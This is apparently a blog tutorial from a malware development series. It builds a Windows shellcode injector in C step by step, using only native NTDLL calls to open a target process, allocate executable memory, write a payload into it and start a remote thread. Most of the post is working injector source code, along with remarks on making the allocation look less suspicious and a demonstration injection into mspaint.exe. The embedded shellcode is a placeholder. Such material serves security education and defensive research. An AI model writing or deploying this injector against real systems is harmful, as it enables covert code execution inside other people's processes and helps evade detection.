# Complete NTAPI Implementation

<details>

<summary>Table of Contents</summary>

* [Foreword](#foreword)
* [Overview](#overview)
* [Prerequisites](#prerequisites)
* [Undocumented Kernel Structures](#undocumented-kernel-structures)
  * [Dumping Kernel Structures](#dumping-kernel-structures)
* [Making the Program](#making-the-program)
  * [Making the Program (Cont.)](#making-the-program-cont.)
* [Performing the Injection](#performing-the-injection)
* [Acknowledgements](#acknowledgements)
* [References](#references)

</details>

## Foreword

There's a video to go along with this blog post! Check it out here, or better yet, view the [entire malware development series](https://youtube.com/playlist?list=PL_z_ep2nxC57sHAlCcvvaYRrpdMIQXri1\&si=Mna8TiMxseq0aASv) so far:

{% embed url="<https://youtu.be/P1PHRcmPM7c?si=vKFEZyCPGkUfW-41>" %}
Malware Development III: Native API
{% endembed %}

## Overview

This is a continuation of the [single-function replacement using NTDLL example](https://www.crow.rip/nest/mal/dev/inject/ntapi-injection). All that's different between this example and the single function example is that *I used all of the WIN32 API's lower-level NTAPI counterparts*. See the shellcode injection flow charts below:

{% tabs %}
{% tab title="Win32 API" %}
{% code overflow="wrap" %}

```c
OpenProcess() or CreateProcess() ---> VirtualAllocEx() ---> WriteProcessMemory() ---> CreateRemoteThreadEx()
```

{% endcode %}
{% endtab %}

{% tab title="NTAPI" %}
{% code overflow="wrap" %}

```c
NtOpenProcess() or NtCreateProcess() ---> NtAllocateVirtualMemory() ---> NtWriteVirtualMemory() ---> NtCreateThreadEx()
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Prerequisites

Before setting up our program to use all of these functions, we need to do a bit of extra setup since the `NTDLL`/`NTAPI` functions require a bit more work to get working. I'll create a new header file that'll house all my macros and structures called `glassBox.h`. Here are all of the necessary structures we *need* to add.

{% code title="glassBox.h" %}

```c
#pragma once
#pragma comment(lib, "ntdll")

#include <Windows.h>
#include <stdio.h>

/*----------[MACROS]----------*/
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)

/*----------[STRUCTS]---------*/
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG              Length;
    HANDLE             RootDirectory;
    PUNICODE_STRING    ObjectName;
    ULONG              Attributes;
    PVOID              SecurityDescriptor;
    PVOID              SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    PVOID              UniqueProcess;
    PVOID              UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
```

{% endcode %}

## Undocumented Kernel Structures&#x20;

Where do we get these structures? Where the hell do they even come from, I hear you asking. Well, if we take a look at a function like `NtOpenProcess`, for example, we can see that it requires the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZySUG36VJO7rfDrUaIho%2Fimage.png?alt=media&#x26;token=762257af-ff86-4c23-9215-f9f57e00a21d" alt=""><figcaption><p>NtOpenProcess syntax from <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess">Microsoft</a></p></figcaption></figure>

We see our typical parameters, like the `ProcessHandle` and `DesiredAccess`, but what about these two new parameters: `ObjectAttributes (_OBJECT_ATTRIBUTES)` and `ClientId (_CLIENT_ID)`? These *are* actually some undocumented structures that our function requires, which is why the above setup was required. We've covered this briefly in the last blog post, so this shouldn't be very alien to you. Using a website that documents tons of these structures; like the one down below, we can easily incorporate these into our programs.&#x20;

{% embed url="<https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2110%2021H2%20(November%202021%20Update)>" %}
Website containing over 60,000 undocumented kernel structures!
{% endembed %}

So, all we know so far (if we didn't see the setup code in the [prerequisites](#prerequisites) section) is that we need two structures, `ObjectAttributes` and `ClientId`, so, let's go find them from this site!

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F0kunDEXss8IT1u3nu4uj%2Fimage.png?alt=media&#x26;token=cc7f79a0-483d-42ca-a966-fe332c8e9cda" alt=""><figcaption><p>Finding our way to our build of Windows</p></figcaption></figure>

If you weren't aware of your Windows build or version, you could run the following command in a command prompt: `winver`

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZcatvJZTERlNnr8V8Wtx%2Fimage.png?alt=media&#x26;token=d29047d1-0849-42f0-8e49-2755b294799c" alt=""><figcaption><p>Windows 10, Version 22H2 (Build 19045)</p></figcaption></figure>

Right, we know our Windows build/version, let's proceed. Our build of Windows is newer than the latest build documented on this site, but for our purposes, it should be fine. Although, we'll also delve into how you can manually dump these structures later. Once we're in the right section, we can search for the structure we're interested in. The first structure needed for us in the case of `NtOpenProcess` is `ObjectAttributes`; which from the "`POBJECT_ATTRIBUTES`" parameter, let's us infer the structure name of `_OBJECT_ATTRIBUTES`. Since the "`P`" in front of the `OBJECT_ATTRIBUTES` denotes a pointer to this structure. Therefore, we know that the structure's name is `OBJECT_ATTRIBUTES`! Let's search for that:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FNqKluyBPWFldf8QuJPyN%2Fimage.png?alt=media&#x26;token=7d05a519-d029-4a14-bea4-39af0d6c0642" alt=""><figcaption><p>Searching for <code>OBJECT_ATTRIBUTES</code> in VERGILIUS</p></figcaption></figure>

We can click on this, and see what it shows:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FuSiPbJYHVkZBqprERpt3%2Fimage.png?alt=media&#x26;token=ddbc25e4-5736-4393-82cf-1a52e0edbc66" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> structure </p></figcaption></figure>

There we go! We have all this juicy information that's *required* for our program. Let's copy that structure and define it within our program:

```cpp
typedef struct _OBJECT_ATTRIBUTES {
    ULONG              Length;
    HANDLE             RootDirectory;
    PUNICODE_STRING    ObjectName;
    ULONG              Attributes;
    PVOID              SecurityDescriptor;
    PVOID              SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
```

With the `_OBJECT_ATTRIBUTES` structure defined, let's move on to the next one needed by `NtOpenProcess`, `_CLIENT_ID`.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FiaXWP5kQWfkfhqlYpSNt%2Fimage.png?alt=media&#x26;token=dbb701e9-2de0-42a1-9d35-527548304379" alt=""><figcaption><p><code>CLIENT_ID</code> structure from VERGILIUS</p></figcaption></figure>

Nice. Let's define this in our program as well:

```cpp
typedef struct _CLIENT_ID {
    PVOID              UniqueProcess;
    PVOID              UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
```

That's the required structures for `NtOpenProcess()`!&#x20;

{% hint style="info" %}
Please also remember that VERGILIUS, as great as it is, isn't the ONLY resource that can help you find structures like this. You can do some more searching to find things similar, and we'll be discussing how to dump these structures soon. For example, as we talked about in the last blog post, you can use the sites below this hint for your purposes.
{% endhint %}

{% tabs %}
{% tab title="Sites" %}
{% embed url="<https://www.nirsoft.net/kernel_struct/vista/index.html>" %}
Windows Vista Kernel Structures
{% endembed %}

{% embed url="<https://doxygen.reactos.org/d6/d6b/struct__CLIENT__ID.html>" %}
Entry from ReactOS on `_CLIENT_ID`
{% endembed %}

{% embed url="<https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/phnt_ntdef.h#L299-L303>" %}
`PHNT`
{% endembed %}

{% embed url="<https://processhacker.sourceforge.io/doc/struct___c_l_i_e_n_t___i_d.html>" %}
`Process Hacker Structure Reference`
{% endembed %}
{% endtab %}
{% endtabs %}

We're almost done. All that's left is to discuss that `_UNICODE_STRING` structure:

```cpp
typedef struct _UNICODE_STRING{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
```

Where does this come from? With the other two structures, their origin makes *some* sense since a function we're trying to use requires them. However, this structure seems like it came totally out of left field. Well, if you're vigilant, you'll actually notice that the answer was right before our eyes this entire time. Take a look at the `_OBJECT_ATTRIBUTES` structure once more, and see if you can understand where the above structure is actually required:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F8wxR1CUjvFzPZMkUBksR%2Fimage.png?alt=media&#x26;token=a7451087-c215-4e21-b58e-6203cf1e5b7d" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> structure</p></figcaption></figure>

Remember, your functions aren't the only things that require structures. Sometimes, your structures may need structures. This is definitely the case with the `_OBJECT_ATTRIBUTES` structure since it's pointing to the `_UNICODE_STRING` structure for the `ObjectName` parameter.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FsBGyZ86SvbYo2LwckWTD%2Fimage.png?alt=media&#x26;token=caa9fa9c-0a64-4ae3-aafe-2d90c080cf97" alt=""><figcaption><p><code>PUNICODE_STRING ObjectName;</code> in <code>_OBJECT_ATTRIBUTES</code> structure</p></figcaption></figure>

So, because of this, we need to set up the `_UNICODE_STRING` structure for our `_OBJECT_ATTRIBUTES` structure. With all of the groundwork done, let's discuss how we might be able to dump these structures manually.

### Dumping Kernel Structures&#x20;

We've previously consulted VERGILIUS to incorporate the required structures needed for our program to work. But, it's more beneficial to learn how the process (or at least, *a process*) of dumping these structures *manually* works. Let's take the `_UNICODE_STRING` and `_CLIENT_ID` structures for example. Using a debugger like WinDbg, we can dump structure names like this:

```
dt nt!_UNICODE_STRING
```

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fk9D8ChixBS5YTypHxRIi%2Fimage.png?alt=media&#x26;token=2b4ba5df-0f85-454c-a64e-bcbdfd6dd254" alt=""><figcaption><p>Command window showing <code>_UNICODE_STRING</code> structure dump</p></figcaption></figure>

As we can see, we've dumped the structure, and it's showing us [the same thing](https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20\(November%202021%20Update\)/_UNICODE_STRING) that a site like VERGILIUS would:

```cpp
//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    WCHAR* Buffer;                                                          //0x4
}; 
```

It's the same thing for the `_CLIENT_ID` structure as well:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FYPdk1VUSTgfx05T5IHE8%2Fimage.png?alt=media&#x26;token=dfa6525a-92ae-4b8c-9d5b-71db25a1d61d" alt=""><figcaption><p>Command window showing <code>_UNICODE_STRING</code> and <code>_CLIENT_ID</code> structure dumps</p></figcaption></figure>

And again, we'd get [the same results](https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20\(November%202021%20Update\)/_CLIENT_ID) from something like VERGILIUS:

```cpp
//0x8 bytes (sizeof)
struct _CLIENT_ID
{
    VOID* UniqueProcess;                                                    //0x0
    VOID* UniqueThread;                                                     //0x4
}; 
```

Hopefully, that gives you an idea of one of the ways how these undocumented kernel structures are dumped. Now, with all of the structures defined, and ready to be used, let's move on to actually making the rest of the program. Oh, one last thing; don't let the name "kernel structures" fool you, they can 100% be used in user mode as well. Matter of fact, that's exactly what we're doing here as well.

## Making the Program

*Phew*, the structures! We're finally on our way to performing shellcode injection purely through `NTDLL`/`NTAPI`! Firstly, we must define prototypes for the functions that we're eventually going to use. If you remember the flow path for `NTAPI` process injection, it follows something along these lines:

{% code overflow="wrap" %}

```cpp
NtOpenProcess() or NtCreateProcess()        /* attach to, or create a process */
                |
                |
                |
     NtAllocateVirtualMemory()     /* allocate a buffer to the process memory */
                |
                |
                |
        NtWriteVirtualMemory() /* write your payload to that allocated buffer */
                |
                |
                |  
        NtCreateThreadEx()             /* create a thread to run your payload */
```

{% endcode %}

The question now arises, where can we find the prototypes for these functions such that we may be able to incorporate them? There are various ways for us to do this. One of my favourite ways is by consulting the `Process Hacker Native API (PHNT)` files:

{% embed url="<https://github.com/winsiderss/phnt>" %}
`PHNT`
{% endembed %}

This repository actually houses the `NTAPI`-specific functions/structures that the System Informer project uses. It's a really useful repository for us since it has `NTAPI` functions and Kernel structures present within it. Since we're going to get a handle on a process, let's look for `NtOpenProcess`:

{% embed url="<https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L1270-L1275>" %}
`NtOpenProcess` syntax from `PHNT`
{% endembed %}

{% hint style="info" %}
Again, like the thing with the VERGILIUS project, the site above isn't the only way to find information on undocumented NTDLL functions. Don't solely rely on one resource, because as you'll see, sometimes (especially for those of you using `NTINTERNALS`, there may be a function that's on one resource, but not on another. So, make sure to do your due diligence as well.
{% endhint %}

Let's take a look at one function, before rinsing and repeating for the rest of them. Let's start with something like `NtOpenProcess`:<br>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F8eMCy1XZPpekBzhcZJQ8%2Fimage.png?alt=media&#x26;token=c0fdd93d-c0e6-4e68-ab5f-b084e7d499b0" alt=""><figcaption><p><code>NtOpenProcess</code> prototype from <code>PHNT</code></p></figcaption></figure>

With that syntax above, we can incorporate this into our `glassBox.h` header file like this:

```cpp
/*---------[FUNCS]---------*/
typedef NTSTATUS(NTAPI* NtOpenProcess)(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_opt_ PCLIENT_ID ClientId
);
```

And now, we've successfully created a prototype for our `NtOpenProcess` function. Now, let's do it for the rest of them ([`NtAllocateVirtualMemory`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntmmapi.h#L536-L543), [`NtWriteVirtualMemory`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntmmapi.h#L599-L605), [`NtCreateThreadEx`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L2233-L2245)). It all goes smoothly up until we get to `NtCreateThreadEx`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F7MaUITmxNxsNnan4doS8%2Fimage.png?alt=media&#x26;token=0e1e7918-e8bb-4906-9f20-358e4f0b2ac9" alt=""><figcaption><p>Pointer to the <code>PS_ATTRIBUTE_LIST</code></p></figcaption></figure>

So, like we've been doing, let's include this structure as well, and all other structures that [`PS_ATTRIBUTE_LIST`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L1964-L1980) might need itself into our `glassBox.h` file. After doing that, we can see that our header file now looks like this:

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FTOVMWgYN6KoiTXc8RICo%2FglassBox.h?alt=media&token=e55d7a55-dd9b-4b55-a0cb-c833482fbced>" %}
Completed header file
{% endfile %}

With the header file done, we can start building out the main injection program like we've been doing this entire time. We've already covered how to do most of these steps in the last blog post so I'll program out what we should know by now before coming to the individual functions.

```c
#include "glassBox.h"

/*-----------[GETMOD]-----------*/
HMODULE getMod(LPCWSTR modName) {

    HMODULE hModule = NULL;
    info("trying to get a handle to %S", modName);

    hModule = GetModuleHandleW(modName);

    if (hModule == NULL) {
        warn("failed to get a handle to the module. error: 0x%lx\n", GetLastError());
        return NULL;
    }

    else {
        okay("got a handle to the module!");
        info("\\___[ %S\n\t\\_0x%p]\n", modName, hModule);
        return hModule;
    }

}

int main(int argc, char* argv[]) {
    
    /*-----------[SETUP/INIT]-----------*/
    NTSTATUS          status;
    DWORD             PID          = NULL;
    PVOID             rBuffer      = NULL;
    HANDLE            hProcess     = NULL;
    HANDLE            hThread      = NULL;
    HMODULE           hNTDLL       = NULL;

    unsigned char     crowPuke[]   = "\x90\x90\x90\x90\xcc";
    size_t            crowPukeSize = sizeof(crowPuke);
    size_t            bytesWritten = 0;

    if (argc < 2) {
        warn("usage: %s <PID>", argv[0]);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);

    OBJECT_ATTRIBUTES OA           = { sizeof(OA), NULL };
    CLIENT_ID         CID          = { (HANDLE)PID, NULL };

    hNTDLL = getMod(L"NTDLL");
    
    if (hNTDLL == NULL) {
        warn("unable to get a handle to NTDLL, error: 0x%lx", GetLastError());
        goto CLEANUP;
    }

    /* we are here */    
    info("populating function prototypes");
    
    info("cleaning up now");
    goto CLEANUP;

CLEANUP:

    if (hThread) {
        info("closing handle to thread");
        CloseHandle(hThread);
    }
    if (hProcess) {
        info("closing handle to process");
        CloseHandle(hProcess);
    }
 
    okay("finished with the cleanup, exiting now. goodbye :>");
    return EXIT_SUCCESS;

}
```

By this point, you should be somewhat familiar with what's happening here (if not, go back to the beginning of the process injection series). Firstly, we start off by defining this `STATUS_SUCCESS` which is only going to be used for one portion of our code; more specifically, in regard to error handling, which we'll see soon.  Let's take a look at the structures that we're initializing:

```cpp
/* initialize the _CLIENT_ID & _OBJECT_ATTRIBUTES kernel structures */
    PID = atoi(argv[1]);
    OBJECT_ATTRIBUTES OA           = { sizeof(OA), NULL };
    CLIENT_ID         CID          = { (HANDLE)PID, NULL };
```

It's important to note that, you can do this in multiple ways. The general idea is that we're trying to submit a `PID` to the `UniqueProcess` member of the `_CLIENT_ID` structure, which we've assigned to `CID`. You could also supply it like this:

```cpp
/* like this */
CLIENT_ID CID = { (HANDLE)atoi(argv[1]), NULL};

/* or like this, etc. etc. */
CLIENT_ID CID = { 0 };
CID.UniqueProcess = PID;
```

I'm showing you all of these ways because I feel like sometimes we get too caught up in what we see from others and forget to experiment. So, yeah, there are a ton of ways to things, and you shouldn't take someone's code as gospel; *including mine*. Oh, please. *Especially not mine*. Anyways, let's continue to the next structure. We're assigning the first part of it: `Length` with the size of the `_OBJECT_ATTRIBUTES` structure itself. Then, we're initializing the rest of the structure by making it `NULL`. Now, this should be good to go. We can begin by populating our function prototypes with the actual addresses of the functions from within `NTDLL`:

```c
    /*-----------[FUNC PROTOTYPES]-----------*/
    NtOpenProcess kawOpenProcess = (NtOpenProcess)GetProcAddress(hNTDLL, "NtOpenProcess");
    okay("got NtOpenProcess!");
    info("\\___[ NtOpenProcess\n\t| kawCreateThread\n\t|_0x%p]\n", kawOpenProcess);
    NtAllocateVirtualMemory kawAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(hNTDLL, "NtAllocateVirtualMemory");
    okay("got NtWriteVirtualMemory!");
    info("\\___[ NtAllocateVirtualMemory\n\t| kawAllocateVirtualMemory\n\t|_0x%p]\n", kawAllocateVirtualMemory);
    NtWriteVirtualMemory kawWriteVirtualMemory = (NtWriteVirtualMemory)GetProcAddress(hNTDLL, "NtWriteVirtualMemory");
    okay("got NtWriteVirtualMemory!");
    info("\\___[ NtWriteVirtualMemory\n\t| kawWriteVirtualMemory\n\t|_0x%p]\n", kawWriteVirtualMemory);
    NtCreateThreadEx kawCreateThreadEx = (NtCreateThreadEx)GetProcAddress(hNTDLL, "NtCreateThreadEx");
    okay("got NtCreateThreadEx!");
    info("\\___[ NtCreateThreadEx\n\t| kawCreateThreadEx\n\t|_0x%p]\n", kawCreateThreadEx);
    okay("all function prototypes filled!");
```

This might look a bit crazy, but the bulk of this is just "pretty" formatting for the functions we get. As you can see, we're reaching into the `NTDLL` module, looking at the address of the function correlated to our function prototype. After that, we print out the address of it for some debugging purposes. We can get a sneak peek as to what this will look like below:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fg3Oke5j7tzQAvW3T5KzP%2Fimage.png?alt=media&#x26;token=097f0aca-6f56-456f-a98e-c4c6c1840c58" alt=""><figcaption><p>Formatting sneak peak</p></figcaption></figure>

After we populate all of our function prototypes, we can now finally begin with programming the actual injection portion of our program.

### Making the Program (Cont.)

If we remember from the previous blog, `NTAPI` functions return `NTSTATUS` codes. So, we need to make sure that we keep this in mind when programming out these functions. Let's start by getting a handle on our target process with `NtOpenProcess`:

```c
    /*-----------[INJECTION]-----------*/
    info("getting a handle to the process (%ld)", PID);
    status = kawOpenProcess(...);
```

The first parameter, `ProcessHandle`, is a pointer to the process handle variable we've declared - so, let's set this to `&hProcess`:

```c
    status = kawOpenProcess(&hProcess, ...);
```

The next parameter, `DesiredAccess`, is the access rights we want to have for our process once we've gotten a handle to it, in this case, we'll do `PROCESS_ALL_ACCESS`.

```c
    status = kawOpenProcess(&hProcess, PROCESS_ALL_ACCESS, ...);
```

The third parameter, `ObjectAttributes`, is a pointer to that `OBJECT_ATTRIBUTES` structure we set up at the start of our program. We've called it `OA`, so let's supply this:

```c
    status = kawOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &OA, ...);
```

The last parameter, `ClientId`, is an optional input type and it's a pointer to the `CLIENT_ID` structure we set up at the start of our program. We've called it `CID`, so let's supply this:

```c
    status = kawOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &OA, &CID);
```

With this done, we can now check the return value of this function to see if it's `STATUS_SUCCESS` indicating that our function ran successfully:

```c
    if (status != STATUS_SUCCESS) {
        warn("failed to get a handle to the process, error: 0x%x", status);
        goto CLEANUP;
    }
```

Next, we have to allocate a region of memory to the process with `NtAllocateVirtualMemory`. So, as we did with `NtOpenProcess`, let's go over the parameters one-by-one.

{% code overflow="wrap" %}

```c
    status = kawAllocateVirtualMemory(...);
```

{% endcode %}

The first parameter, `ProcessHandle` is our process handle.

```c
    status = kawAllocateVirtualMemory(hProcess, ...);
```

The next parameter, `BaseAddress`, is a pointer the buffer itself, in this case, it'll be `rBuffer`.

```c
    status = kawAllocateVirtualMemory(hProcess, &rBuffer, ...);
```

The next parameter, `ZeroBits` isn't important for us, so, we'll just set this to `NULL`.

```c
    status = kawAllocateVirtualMemory(hProcess, &rBuffer, NULL, ...);
```

Next up is `RegionSize` and it's a pointer to the size of our shellcode, `crowPukeSize`. So, let's include this:

```c
    status = kawAllocateVirtualMemory(hProcess, &rBuffer, NULL, &crowPukeSize, ...);
```

Now, we have to set the allocation type of our allocated buffer. We want to reserve and commit the region, so we'll supply `MEM_COMMIT | MEM_RESERVE`.&#x20;

{% code overflow="wrap" %}

```c
    status = kawAllocateVirtualMemory(hProcess, &rBuffer, NULL, &crowPukeSize, (MEM_COMMIT | MEM_RESERVE), ...);
```

{% endcode %}

Okay, cool. Now, it's time for the permissions of this region, `Protect`. We'll just set this to `RWX` but you can 100% use `VirtualProtect`'s `NTAPI` equivalent to change the permissions so it's less suspicious; from `RW` to `RX`. However, for now, we'll just keep it simple.

{% code overflow="wrap" %}

```c
    status = kawAllocateVirtualMemory(hProcess, &rBuffer, NULL, &crowPukeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

    if (status != STATUS_SUCCESS) {
        warn("failed allocate buffer in process memory, error: 0x%x", status);
        goto CLEANUP;
    }

    okay("allocated a region of %zu-bytes with PAGE_EXECUTE_READWRITE permissions", crowPukeSize);
```

{% endcode %}

{% hint style="info" %}
You could try to implement a function/macro that will handle all of these status-return if-checks, I just got lazy so I'm going to be copy-pasting this segment for each of the `NTAPI` functions that we end up using.
{% endhint %}

With our buffer allocated, we can now write to that page. So, with `NtWriteVirtualMemory`, let's go ahead and do that.

{% code overflow="wrap" %}

```c
    status = kawWriteVirtualMemory(...);
```

{% endcode %}

The first parameter, `ProcessHandle`, is... well, you know by now.

```c
    status = kawWriteVirtualMemory(hProcess, ...);
```

Next, we have the `BaseAddress` which is the freshly-created page that we just set up; for this, we'll supply `rBuffer`.

```c
    status = kawWriteVirtualMemory(hProcess, rBuffer, ...);
```

Then, we can supply in our payload for the `Buffer` parameter, since it's what we're actually trying to write to the page:

```c
    status = kawWriteVirtualMemory(hProcess, rBuffer, crowPuke, ...);
```

Next up, we have `BufferSize`, this is the size of our payload - `crowPukeSize`:

{% code overflow="wrap" %}

```c
    status = kawWriteVirtualMemory(hProcess, rBuffer, crowPuke, sizeof(crowPuke), ...);
```

{% endcode %}

Lastly, we have a pointer to the number of bytes written. We don't need this, but I like to include it for the sake of verbosity.

{% code overflow="wrap" %}

```c
 status = kawWriteVirtualMemory(hProcess, rBuffer, crowPuke, sizeof(crowPuke), &bytesWritten);

    if (status != STATUS_SUCCESS) {
        warn("failed to write to allocated buffer, error: 0x%x", status);
        goto CLEANUP;
    }
    
    okay("wrote %zu-bytes to allocated buffer", bytesWritten);
```

{% endcode %}

I won't cover `NtCreateThreadEx` in this blog post because we already covered it in the last one where we replaced a single Win32 API function with its `NTAPI` counterpart. You can find that here:

{% embed url="<https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection>" %}
Find `NtCreateThreadEx` here
{% endembed %}

## Performing the Injection

With that done, all we have to do is wait for the thread to finish (or you don't have to, I guess; do whatever you want):

```c
    okay("got a handle to the thread!");
    info("\\___[ hThread\n\t\\_0x%p]\n", hThread);

    info("waiting for thread to finish...");
    WaitForSingleObject(hThread, INFINITE);
    okay("thread finished execution!"); 
    
    info("cleaning up now");
    goto CLEANUP;

CLEANUP:

    if (hThread) {
        info("closing handle to thread");
        CloseHandle(hThread);
    }
    if (hProcess) {
        info("closing handle to process");
        CloseHandle(hProcess);
    }

    okay("finished with the cleanup, exiting now. goodbye :>");
    return EXIT_SUCCESS;

}
```

You can find the completed source code for this down below or in the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/NTDLL/Complete%20NTDLL%20Implementation) for this malware development series.

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F1nUAlz5vGifIUcfcusCZ%2Finjector.c?alt=media&token=33c9c1f3-8d65-4d17-b1f3-d8e5ee53ed3c>" %}
Complete source code
{% endfile %}

Finally, we can now perform the injection. Running this against a process like `mspaint.exe`, we can see that this works beautifully. I'm using a calculator POC shellcode from `msfvenom`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fnp5veR5sNKtoWyWduOhK%2Fimage.png?alt=media&#x26;token=26475e9e-e6a9-4862-871e-39baf2664998" alt=""><figcaption><p>Successful injection</p></figcaption></figure>

With that done, we've completely injected a target process using solely the `NTAPI` counterparts of the Win32 API functions. Well, we still used some functions from `Kernel32` like `WaitForSingleObject` and `CloseHandle`, but you get what I mean. In the next blog post, we'll take a look at using system calls directly to perform an injection - which is the natural next step up from this technique.

## Acknowledgements

Thank you `pseudo` and `Man in the Purple Tux` for making me realize that this blog post (before now), was sort of lacklustre, and was missing some key information. As well as me using the wrong parameters in the prototype for `NtOpenProcess`. I must've been hammered, sleep-deprived, or both. I appreciate you guys, and I hope this update gives you everything you were looking for. Also, if this code looks nothing like my previous code, it's because I've rewritten it from scratch whilst following my previous code. I've learned a lot since then, [so the updated program/code may reflect that](#user-content-fn-1)[^1]. Thank you to my incredible friend, `5pider` for introducing me to some cool programming tips as well for this specific post. Till next time, keep on hackin'. See ya!

## References

{% embed url="<https://y3a.github.io/2021/07/31/scinjection1/>" %}

{% embed url="<https://securitytimes.medium.com/path-to-process-injection-bypass-userland-api-hooking-a8a49ae5def6>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/12/07/malware-injection-10.html>" %}

{% embed url="<http://undocumented.ntinternals.net/>" %}

{% embed url="<https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h#LL2324-L2336C7>" %}

{% embed url="<https://spikysabra.gitbook.io/kernelcactus/getting-familiar-with-the-kernel>" %}

{% embed url="<https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20(November%202021%20Update)>" %}

{% embed url="<https://www.nirsoft.net/kernel_struct/vista/index.html>" %}

[^1]: I'm still pretty new and sh\*t at all of this as well. So, please bare with me as I get better and better.
